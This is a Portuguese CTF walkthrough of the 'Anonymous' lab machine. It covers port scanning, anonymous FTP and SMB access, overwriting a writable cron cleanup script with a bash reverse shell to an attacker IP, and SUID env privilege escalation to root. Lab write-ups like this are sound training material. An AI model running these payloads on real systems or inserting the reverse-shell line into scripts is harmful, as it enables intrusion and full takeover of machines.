


Anonymous CTF

Vamos começar esse ctf de nível médio que é o ctf anonymous.

Primeiro começaremos pelo básico dos caminhos dos ctf's, começaremos com o escaneamento de portas da máquina alvo.

```
A screenshot of a terminal window with a dark background. The command 'nmap -sS 10.10.112.239 -Pn --open' is entered in a light blue font. A red cursor is visible at the end of the command line.
```

```
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-02 20:55 -03
Nmap scan report for 10.10.112.239
Host is up (0.24s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 3.22 seconds
```

Logo nós temos uma porta 21,22,139 e 445.

Vamos realizar então um escaneamento mais avançado nas portas encontradas em questão para saber oque elas estariam rodando.

```
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-02 20:58 -03
Nmap scan report for 10.10.112.239
Host is up (0.22s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.0.8 or later
22/tcp    open  ssh          OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.07 seconds
```

Vemos então, todos os serviços de cada porta aberta.

Vamos tentar realizar o login anônimo no ftp da máquina.

```
# ftp 10.10.112.239 -v
Connected to 10.10.112.239.
220 NamelessOne's FTP Server!
Name (10.10.112.239:kaliun): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> █
```

Aparentemente, o serviço aceita o login anônimo.

Dentro do ftp, há uma pasta de scripts, onde há outros arquivos que podem ser interessantes para nós.

```

Using binary mode to transfer files.
ftp> ls -a
229 Entering Extended Passive Mode (|||13011|)
150 Here comes the directory listing.
drwxr-xr-x   3 65534   65534   4096 May 13  2020 .
drwxr-xr-x   3 65534   65534   4096 May 13  2020 ..
drwxrwxrwx   2 111     113     4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls -a
229 Entering Extended Passive Mode (|||20873|)
150 Here comes the directory listing.
drwxrwxrwx   2 111     113     4096 Jun 04  2020 .
drwxr-xr-x   3 65534   65534   4096 May 13  2020 ..
-rwxr-xrwx   1 1000    1000    314 Jun 04  2020 clean.sh
-rw-rw-r--   1 1000    1000   1419 Jan 03  2020 removed_files.log
-rw-r--r--   1 1000    1000    68 May 12  2020 to_do.txt
226 Directory send OK.
ftp>

```

Temos um script em shell:

```

# cat clean.sh
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
    echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
    fi
fi

```

Aparentemente jogando tudo que está sendo apagado para um arquivo de log.

Temos uma mensagem:

```

# cat to_do.txt
I really need to disable the anonymous login...it's really not safe

```

E temos os arquivos de logs:

[illegible]

Que não há muita coisa interessante.

```
# smbclient -L \\10.10.112.239
Password for [WORKGROUP\root]:

  Sharename      Type      Comment
  -----
  print$         Disk      Printer Drivers
  pics           Disk      My SMB Share Directory for Pics
  IPC$           IPC       IPC Service (anonymous server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

  Server          Comment
  -----
  Workgroup       Master
  WORKGROUP       ANONYMOUS
```

Aparentemente o smb permite login anonymous e assim podemos ver uma pasta chamada pics.

```
# smbclient //10.10.27.40/pics -U "" -N
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Sun May 17 08:11:34 2020
..               D           0   Wed May 13 22:59:10 2020
corgo2.jpg       N       42663  Mon May 11 21:43:42 2020
puppos.jpeg     N      265188  Mon May 11 21:43:42 2020

20508240 blocks of size 1024. 13137292 blocks available
smb: \> █
```

Quando nos conectamos no smb encontra dois arquivos.



Aparentemente, essas são as duas

imagens contidas no smb.

Como o steghide pede uma senha para executarmos e eu não consegui encontrar essa possível senha.

Uma das poucas alternativas que nos restam seria substituir o clean.sh por um código malicioso de mesmo nome.

```
#!/bin/bash
bash -i >& /dev/tcp/10.6.126.237/50 0>&1
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
    echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
    fi
```

Primeiro vamos alterar um pouco o código original que baixamos via ftp, para colocarmos novamente dentro da máquina alvo com o código de reverse

shell.

```
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||35782|)
150 Here comes the directory listing.
-rwxr-xrwx  1 1000  1000    314 Jun 04  2020 clean.sh
-rw-rw-r--  1 1000  1000   1806 Jan 03 12:47 removed_files.log
-rw-r--r--  1 1000  1000    68 May 12  2020 to_do.txt
226 Directory send OK.
ftp> put clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||19303|)
150 Ok to send data.
100% |*****| 354 3.66 MiB/s 00:00 ETA
226 Transfer complete.
354 bytes sent in 00:00 (0.83 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||56578|)
150 Here comes the directory listing.
-rwxr-xrwx  1 1000  1000    354 Jan 03 12:47 clean.sh
-rw-rw-r--  1 1000  1000   1806 Jan 03 12:47 removed_files.log
-rw-r--r--  1 1000  1000    68 May 12  2020 to_do.txt
226 Directory send OK.
ftp>
```

Pronto! Pelo tamanho dos arquivos, percebemos que a substituição de arquivos foi feita com êxito.

Agora, devemos aguardar até que a máquina execute o clean.sh com código malicioso.

```
nc -nvlp 50
listening on [any] 50 ...
connect to [10.6.126.237] from (UNKNOWN) [10.10.27.40] 49422
bash: cannot set terminal process group (1349): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$
```

E pronto! Estamos dentro da máquina agora.

```
namelessone@anonymous:~$ ls
ls
pics DCPT
user.txt
namelessone@anonymous:~$
```

Agora temos a flag do user.

```
/usr/bin/env
```

Depois que usamos o comando `find / -perm -4000 2>/dev/null`, encontramos uma possível passagem para escalação de privilégios.

Logo procuramos algo sobre esse programa no <https://gtfobins.github.io/> e validamos se realmente funciona para esclarmos.

```
namelessone@anonymous:/tmp$ env /bin/sh -p
env /bin/sh -p
id
uid=1000(namelessone) gid=1000(namelessone) euid=0(root) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
cd /root
ls
root.txt
```

E realmente temos acesso de root agora!

Ficamos por aqui, espero que tenha gostado. Tenha um bom ctf!

